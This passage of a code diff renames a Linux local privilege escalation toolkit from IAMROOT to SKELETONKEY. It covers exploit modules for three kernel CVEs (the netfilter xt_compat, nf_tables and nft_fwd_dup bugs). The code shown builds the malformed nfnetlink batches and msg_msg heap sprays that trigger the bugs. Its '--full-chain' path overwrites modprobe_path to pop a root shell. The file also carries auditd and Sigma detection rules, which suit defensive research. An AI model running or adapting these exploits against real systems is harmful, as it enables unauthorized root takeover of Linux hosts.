" attacker-controlled — read-where via msgrcv.\n"
" 2. Use that leak to find &init_task and\n"
" modprobe_path in kernel .data — both offsets\n"
" are per-kernel-build and IAMROOT refuses to\n"
" are per-kernel-build and SKELETONKEY refuses to\n"
" bake them.\n"
" 3. Pivot to a write-where via a fake msg_msgseg\n"
" and overwrite modprobe_path → exec a setuid\n"
" helper for root pop.\n"
" See Andy Nguyen's writeup for the full chain.\n");
}
if (ctx->no_shell) return IAMROOT_OK;
return IAMROOT_EXPLOIT_FAIL;
if (ctx->no_shell) return SKELETONKEY_OK;
return SKELETONKEY_EXPLOIT_FAIL;
case 34:
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: --full-chain finisher reported "
"EXPLOIT_OK (sentinel setuid bash dropped)\n");
}
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
case 35:
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain finisher returned "
"FAIL (sentinel not observed within timeout)\n"
" See /tmp/iamroot-xtcompat.log for arb_calls/arb_landed\n");
" See /tmp/skeletonkey-xtcompat.log for arb_calls/arb_landed\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
default:
fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
}
/* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] netfilter_xtcompat: removing log + best-effort msg queue cleanup\n");
@@ -957,12 +915,39 @@ static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx
/* The msg queues live in the child's IPC namespace which dies
* with the child so the in-process drain already handled them.
* The /tmp breadcrumb survives, remove it here. */
if (unlink("/tmp/iamroot-xtcompat.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-xtcompat.log") < 0 && errno != ENOENT) {
/* harmless */
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: setsockopt(IPT_SO_SET_REPLACE) + nfnetlink +
* userns is Linux-only kernel surface. Stub out cleanly so the module
* still registers and `--list` / `--detect-rules` work on macOS/BSD
* dev boxes and so the top-level `make` actually completes there. */
static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] netfilter_xtcompat: Linux-only module "
"(xt_compat_target_to_user via SET_REPLACE) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] netfilter_xtcompat: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
/* ---- Detection rules --------------------------------------------- */
static const char netfilter_xtcompat_auditd[] =
@@ -970,12 +955,12 @@ static const char netfilter_xtcompat_auditd[] =
"# The exploit's hallmarks: unshare(USER|NET) chained with iptables\n"
"# rule setup via setsockopt(SOL_IP, IPT_SO_SET_REPLACE=64) and\n"
"# msgsnd/msgrcv heap-spray patterns.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-xtcompat\n"
"-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k iamroot-xtcompat-iptopt\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-xtcompat-msgmsg\n"
"-a always,exit -F arch=b64 -S msgrcv -k iamroot-xtcompat-msgmsg\n";
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-xtcompat\n"
"-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k skeletonkey-xtcompat-iptopt\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-xtcompat-msgmsg\n"
"-a always,exit -F arch=b64 -S msgrcv -k skeletonkey-xtcompat-msgmsg\n";
const struct iamroot_module netfilter_xtcompat_module = {
const struct skeletonkey_module netfilter_xtcompat_module = {
.name = "netfilter_xtcompat",
.cve = "CVE-2021-22555",
.summary = "iptables xt_compat_target_to_user 4-byte heap-OOB write → cross-cache UAF → root",
@@ -991,7 +976,7 @@ const struct iamroot_module netfilter_xtcompat_module = {
.detect_falco = NULL,
};
void iamroot_register_netfilter_xtcompat(void)
void skeletonkey_register_netfilter_xtcompat(void)
{
iamroot_register(&netfilter_xtcompat_module);
skeletonkey_register(&netfilter_xtcompat_module);
}
@@ -0,0 +1,12 @@
/*
* netfilter_xtcompat_cve_2021_22555 — SKELETONKEY module registry hook
*/
#ifndef NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
#define NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module netfilter_xtcompat_module;
#endif
+27
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@@ -0,0 +1,27 @@
# NOTICE — nf_tables (CVE-2024-1086)
## Vulnerability
**CVE-2024-1086**`nft_verdict_init` double-free → cross-cache UAF
→ arbitrary kernel R/W.
## Research credit
Discovered, exploited, and disclosed by **Notselwyn** (Pumpkin),
January 2024.
Original advisory + exploit: <https://pwning.tech/nftables/>
GitHub: <https://github.com/Notselwyn/CVE-2024-1086>
Upstream fix: mainline 6.8-rc1 (commit `f342de4e2f33`, Jan 2024).
Stable backports throughout Q1 2024.
## SKELETONKEY role
This module fires the malformed-verdict trigger (NFT_GOTO + NFT_DROP
in the same verdict) via a hand-rolled nfnetlink batch — no libmnl
dependency. The msg_msg cross-cache groom into kmalloc-cg-96 is wired
but the full pipapo R/W stage is opt-in via `--full-chain`, which
forges a pipapo_elem with a value-pointer pointing at modprobe_path.
Per-kernel offset assumptions are documented; the shared finisher's
sentinel arbitrates real vs. apparent success.
@@ -1,12 +0,0 @@
/*
* nf_tables_cve_2024_1086 — IAMROOT module registry hook
*/
#ifndef NF_TABLES_IAMROOT_MODULES_H
#define NF_TABLES_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nf_tables_module;
#endif
@@ -1,5 +1,5 @@
/*
* nf_tables_cve_2024_1086 IAMROOT module
* nf_tables_cve_2024_1086 SKELETONKEY module
*
* Netfilter nf_tables UAF when NFT_GOTO/NFT_JUMP verdicts coexist
* with NFT_DROP/NFT_QUEUE. Triggers a double-free cross-cache UAF
@@ -13,11 +13,11 @@
* (table chain set rule with the NFT_GOTO+NFT_DROP combo
* that nft_verdict_init() fails to reject on vulnerable kernels),
* fires the double-free path, runs the msg_msg cg-96 groom, and
* returns IAMROOT_EXPLOIT_FAIL (primitive-only behavior).
* returns SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior).
* - With --full-chain: after the trigger lands, we resolve kernel
* offsets (env kallsyms System.map embedded table) and run
* a Notselwyn-style pipapo arb-write via the shared
* iamroot_finisher_modprobe_path() helper. The arb-write itself
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself
* is FALLBACK-DEPTH: we re-fire the trigger and spray a msg_msg
* payload tagged with the kaddr in the value-pointer slot. The
* exact pipapo_elem layout (and the value-pointer field offset)
@@ -34,7 +34,7 @@
* heap pointer.
* 3. Implement the sk_buff fragment overwrite to plant a fake
* pipapo_elem whose value points at modprobe_path.
* 4. Fire trigger that writes "/tmp/iamroot-pwn" into modprobe_path.
* 4. Fire trigger that writes "/tmp/skeletonkey-pwn" into modprobe_path.
* 5. execve() an unknown binary to invoke modprobe with our payload.
*
* Affected kernel ranges:
@@ -55,18 +55,23 @@
* for unprivileged users even on a kernel-vulnerable host.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdint.h>
#include <sched.h>
#include <fcntl.h>
#include <errno.h>
@@ -108,19 +113,6 @@ static const struct kernel_range nf_tables_range = {
* Preconditions probe
* ------------------------------------------------------------------ */
static int can_unshare_userns(void)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static bool nf_tables_loaded(void)
{
FILE *f = fopen("/proc/modules", "r");
@@ -134,60 +126,63 @@ static bool nf_tables_loaded(void)
return found;
}
static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nf_tables: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] nf_tables: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.14. Anything below predates it. */
if (v.major < 5 || (v.major == 5 && v.minor < 14)) {
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 14, 0)) {
if (!ctx->json) {
fprintf(stderr, "[i] nf_tables: kernel %s predates the bug "
"(introduced in 5.14)\n", v.release);
"(introduced in 5.14)\n", v->release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&nf_tables_range, &v);
bool patched = kernel_range_is_patched(&nf_tables_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v->release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
bool nft_loaded = nf_tables_loaded();
if (!ctx->json) {
fprintf(stderr, "[i] nf_tables: kernel %s is in the vulnerable range\n",
v.release);
v->release);
fprintf(stderr, "[i] nf_tables: unprivileged user_ns clone: %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" :
"could not test");
userns_ok ? "ALLOWED" : "DENIED");
fprintf(stderr, "[i] nf_tables: nf_tables module currently loaded: %s\n",
nft_loaded ? "yes" : "no (will autoload on first nft use)");
}
if (userns_ok == 0) {
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] nf_tables: kernel vulnerable but user_ns clone "
"denied → unprivileged exploit unreachable\n");
fprintf(stderr, "[i] nf_tables: still patch the kernel — a root "
"attacker can still trigger the bug\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] nf_tables: VULNERABLE — kernel in range AND user_ns "
"clone allowed\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------
@@ -229,7 +224,7 @@ static int enter_unpriv_namespaces(void)
/* ------------------------------------------------------------------
* Minimal nfnetlink batch builder. We hand-roll this rather than
* pulling libmnl, both to keep IAMROOT dep-free and because the bug
* pulling libmnl, both to keep SKELETONKEY dep-free and because the bug
* relies on a specific malformed verdict that libnftnl validates away.
*
* Each helper appends to a contiguous batch buffer at *off.
@@ -318,9 +313,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
* Build the ruleset that fires the bug. Strategy mirrors Notselwyn's
* PoC (greatly simplified):
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
* 2. NFT_MSG_NEWTABLE "iamroot_t" family=inet
* 3. NFT_MSG_NEWCHAIN "iamroot_c" inside the table
* 4. NFT_MSG_NEWSET "iamroot_s" inside the table, key=verdict,
* 2. NFT_MSG_NEWTABLE "skeletonkey_t" family=inet
* 3. NFT_MSG_NEWCHAIN "skeletonkey_c" inside the table
* 4. NFT_MSG_NEWSET "skeletonkey_s" inside the table, key=verdict,
* data=verdict (the pipapo combo that holds the bad verdict),
* flags = NFT_SET_ANONYMOUS|NFT_SET_CONSTANT|NFT_SET_INTERVAL
* 5. NFT_MSG_NEWSETELEM with a verdict element whose
@@ -341,9 +336,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
* cross-cache groom.
* ------------------------------------------------------------------ */
static const char NFT_TABLE_NAME[] = "iamroot_t";
static const char NFT_CHAIN_NAME[] = "iamroot_c";
static const char NFT_SET_NAME[] = "iamroot_s";
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
static const char NFT_CHAIN_NAME[] = "skeletonkey_c";
static const char NFT_SET_NAME[] = "skeletonkey_s";
/* batch begin / end markers */
static void put_batch_begin(uint8_t *buf, size_t *off, uint32_t seq)
@@ -382,7 +377,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
end_msg(buf, off, at);
}
/* NFT_MSG_NEWTABLE inet "iamroot_t" */
/* NFT_MSG_NEWTABLE inet "skeletonkey_t" */
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
@@ -447,8 +442,8 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq)
* AND once on data_release double free.
*
* We pack:
* NFTA_SET_ELEM_LIST_TABLE = "iamroot_t"
* NFTA_SET_ELEM_LIST_SET = "iamroot_s"
* NFTA_SET_ELEM_LIST_TABLE = "skeletonkey_t"
* NFTA_SET_ELEM_LIST_SET = "skeletonkey_s"
* NFTA_SET_ELEM_LIST_ELEMENTS { element { key=verdict(DROP),
* data=verdict(GOTO chain-id=...) } }
*/
@@ -618,7 +613,6 @@ static long slabinfo_active(const char *slab)
* Factored out so --full-chain can re-fire the trigger between
* msg_msg sprays without duplicating the batch-building logic.
* ------------------------------------------------------------------ */
#ifdef __linux__
static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq)
{
(void)cap;
@@ -657,7 +651,7 @@ static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq)
* lts-6.1.x / 6.6.x / 6.7.x un-randomized build (the kernels in the
* exploitable range for which Notselwyn's public PoC was validated)
* and rely on the shared finisher's sentinel-file post-check to flag
* a layout mismatch as IAMROOT_EXPLOIT_FAIL rather than fake success.
* a layout mismatch as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
* ------------------------------------------------------------------ */
struct nft_arb_ctx {
@@ -792,26 +786,28 @@ static int nft_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vct
usleep(20 * 1000);
return 0;
}
#endif /* __linux__ */
/* ------------------------------------------------------------------
* The exploit body.
* ------------------------------------------------------------------ */
static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
{
/* Gate 1: re-confirm vulnerability. detect() also checks user_ns. */
iamroot_result_t pre = nf_tables_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = nf_tables_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] nf_tables: detect() says not vulnerable; refusing\n");
return pre;
}
/* Gate 2: already root? Nothing to escalate. */
if (geteuid() == 0) {
/* Gate 2: already root? Nothing to escalate. Consult ctx->host first
* so unit tests can construct a non-root fingerprint regardless of
* the test process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
if (!ctx->json)
fprintf(stderr, "[i] nf_tables: already running as root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
@@ -825,7 +821,6 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
}
}
#ifdef __linux__
/* --- --full-chain path --------------------------------------- *
* Resolve offsets BEFORE doing anything destructive so we can
* refuse cleanly on hosts where we have no modprobe_path. We run
@@ -834,27 +829,27 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
* as the arb-write.
*/
if (ctx->full_chain) {
struct iamroot_kernel_offsets off;
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("nf_tables");
return IAMROOT_EXPLOIT_FAIL;
struct skeletonkey_kernel_offsets off;
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("nf_tables");
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
if (enter_unpriv_namespaces() < 0) {
fprintf(stderr, "[-] nf_tables: userns entry failed\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (sock < 0) {
perror("[-] socket(NETLINK_NETFILTER)");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
}
int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
@@ -863,11 +858,11 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
int qids[SPRAY_MSGS * 4];
for (size_t i = 0; i < sizeof qids / sizeof qids[0]; i++) qids[i] = -1;
if (spray_msg_msg(qids, SPRAY_MSGS / 2) < 0) {
close(sock); return IAMROOT_EXPLOIT_FAIL;
close(sock); return SKELETONKEY_EXPLOIT_FAIL;
}
uint8_t *batch = calloc(1, 16 * 1024);
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
/* Initial trigger batch (NEWTABLE/CHAIN/SET/SETELEM). */
uint32_t seq = (uint32_t)time(NULL);
@@ -880,12 +875,12 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] nf_tables: trigger batch failed\n");
drain_spray(qids, SPRAY_MSGS / 2);
free(batch); close(sock);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Wire up the arb-write context and hand off to the shared
* finisher. The finisher will:
* - call nft_arb_write(modprobe_path, "/tmp/iamroot-mp-...", N)
* - call nft_arb_write(modprobe_path, "/tmp/skeletonkey-mp-...", N)
* which re-fires the trigger and sprays forged pipapo elems
* - execve() the trigger binary to invoke modprobe
* - poll for the setuid sentinel, and spawn a root shell. */
@@ -898,7 +893,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
.qused = SPRAY_MSGS / 2,
};
iamroot_result_t r = iamroot_finisher_modprobe_path(&off,
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&off,
nft_arb_write, &ac, !ctx->no_shell);
drain_spray(qids, ac.qused);
@@ -906,14 +901,13 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
close(sock);
return r;
}
#endif
/* --- primitive-only path: fork-isolated trigger -------------- *
* Fork: child enters userns+netns and fires the bug. If the
* kernel panics on KASAN we don't want our parent process to be
* the one that takes the hit. */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* --- CHILD --- */
@@ -1040,7 +1034,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
"fired (KASAN/oops can manifest as child signal)\n",
WTERMSIG(status));
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -1054,22 +1048,44 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
" cross-cache groom + modprobe_path overwrite\n"
" from github.com/Notselwyn/CVE-2024-1086.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc >= 20 && rc <= 25) {
if (!ctx->json) {
fprintf(stderr, "[-] nf_tables: trigger setup failed (child rc=%d)\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[-] nf_tables: unexpected child rc=%d\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#else /* !__linux__ */
/* Non-Linux dev builds: nfnetlink + nf_tables UAF + userns is
* Linux-only kernel surface. Stub out cleanly so the module still
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
* boxes and so the top-level `make` actually completes there. */
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] nf_tables: Linux-only module "
"(nft_verdict_init UAF via nfnetlink) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] nf_tables: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* __linux__ */
/* ----- Embedded detection rules ----- */
static const char nf_tables_auditd[] =
@@ -1077,15 +1093,15 @@ static const char nf_tables_auditd[] =
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by nft socket setup.\n"
"# This is the canonical exploit shape; legitimate userns + nft use\n"
"# (e.g. firewalld, docker rootless) will also trip — tune per env.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-nf-tables-userns\n"
"-a always,exit -F arch=b32 -S unshare -k iamroot-nf-tables-userns\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nf-tables-userns\n"
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nf-tables-userns\n"
"# Also watch for the canonical post-exploit primitives: modprobe_path\n"
"# overwrite OR setresuid(0,0,0) on a previously-non-root process.\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nf-tables-priv\n";
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nf-tables-priv\n";
static const char nf_tables_sigma[] =
"title: Possible CVE-2024-1086 nf_tables UAF exploitation\n"
"id: a72b5e91-iamroot-nf-tables\n"
"id: a72b5e91-skeletonkey-nf-tables\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape: unprivileged user creating a\n"
@@ -1107,7 +1123,7 @@ static const char nf_tables_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n";
const struct iamroot_module nf_tables_module = {
const struct skeletonkey_module nf_tables_module = {
.name = "nf_tables",
.cve = "CVE-2024-1086",
.summary = "nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W",
@@ -1123,7 +1139,7 @@ const struct iamroot_module nf_tables_module = {
.detect_falco = NULL,
};
void iamroot_register_nf_tables(void)
void skeletonkey_register_nf_tables(void)
{
iamroot_register(&nf_tables_module);
skeletonkey_register(&nf_tables_module);
}
@@ -0,0 +1,12 @@
/*
* nf_tables_cve_2024_1086 — SKELETONKEY module registry hook
*/
#ifndef NF_TABLES_SKELETONKEY_MODULES_H
#define NF_TABLES_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nf_tables_module;
#endif
@@ -0,0 +1,28 @@
# NOTICE — nft_fwd_dup (CVE-2022-25636)
## Vulnerability
**CVE-2022-25636**`nft_fwd_dup_netdev_offload` writes
`flow->rule->action.entries[ctx->num_actions]` without bounds-checking
against the allocated array size → heap OOB write in kmalloc-512.
## Research credit
Discovered and disclosed by **Aaron Adams** (NCC Group),
February 2022.
Original writeup:
<https://research.nccgroup.com/2022/03/02/exploit-engineering-attacking-the-linux-kernel/>
Upstream fix: mainline 5.17 (commit `fa54fee62954`, Feb 2022).
Branch backports: 5.16.11 / 5.15.25 / 5.10.102 / 5.4.181.
## SKELETONKEY role
userns+netns reach. Hand-rolled nfnetlink batch: NEWTABLE →
NEWCHAIN with `NFT_CHAIN_HW_OFFLOAD` → NEWRULE with 16 immediates
+ fwd, overruning `action.entries[1]`. msg_msg cross-cache groom
into kmalloc-512 with `SKELETONKEY_FWD` tags.
`--full-chain` extends with stride-seeded forged action_entry
overwrite aimed at modprobe_path via the shared finisher.
@@ -1,12 +0,0 @@
/*
* nft_fwd_dup_cve_2022_25636 — IAMROOT module registry hook
*/
#ifndef NFT_FWD_DUP_IAMROOT_MODULES_H
#define NFT_FWD_DUP_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nft_fwd_dup_module;
#endif
@@ -1,5 +1,5 @@
/*
* nft_fwd_dup_cve_2022_25636 IAMROOT module
* nft_fwd_dup_cve_2022_25636 SKELETONKEY module
*
* Heap OOB write in net/netfilter/nf_dup_netdev.c ::
* nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
@@ -41,18 +41,23 @@
* - nf_tables module loadable
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include "../../core/host.h"
#include <stdint.h>
#include <sched.h>
#include <fcntl.h>
#include <errno.h>
@@ -99,19 +104,6 @@ static const struct kernel_range nft_fwd_dup_range = {
* Probes.
* ------------------------------------------------------------------ */
static int can_unshare_userns(void)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static bool nf_tables_loaded(void)
{
FILE *f = fopen("/proc/modules", "r");
@@ -125,61 +117,59 @@ static bool nf_tables_loaded(void)
return found;
}
static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nft_fwd_dup: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json) fprintf(stderr, "[!] nft_fwd_dup: host fingerprint missing kernel version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* The offload code path only exists from 5.4 onward. Anything
* older predates the bug. */
if (v.major < 5 || (v.major == 5 && v.minor < 4)) {
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 4, 0)) {
if (!ctx->json) {
fprintf(stderr, "[i] nft_fwd_dup: kernel %s predates the bug "
"(nft offload hook introduced in 5.4)\n", v.release);
"(nft offload hook introduced in 5.4)\n", v->release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&nft_fwd_dup_range, &v);
bool patched = kernel_range_is_patched(&nft_fwd_dup_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v->release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
bool userns_ok = ctx->host->unprivileged_userns_allowed;
bool nft_loaded = nf_tables_loaded();
if (!ctx->json) {
fprintf(stderr, "[i] nft_fwd_dup: kernel %s is in the vulnerable range\n",
v.release);
v->release);
fprintf(stderr, "[i] nft_fwd_dup: unprivileged user_ns+net_ns clone: %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" :
"could not test");
userns_ok ? "ALLOWED" : "DENIED");
fprintf(stderr, "[i] nft_fwd_dup: nf_tables module currently loaded: %s\n",
nft_loaded ? "yes" : "no (will autoload)");
}
if (userns_ok == 0) {
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] nft_fwd_dup: kernel vulnerable but user_ns clone "
"denied → unprivileged path unreachable\n");
fprintf(stderr, "[i] nft_fwd_dup: still patch the kernel — a root\n"
" attacker can still hit the OOB.\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] nft_fwd_dup: VULNERABLE — kernel in range AND user_ns "
"clone allowed\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------
@@ -334,7 +324,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
* Rule construction the heart of the trigger.
*
* Strategy (Aaron Adams shape):
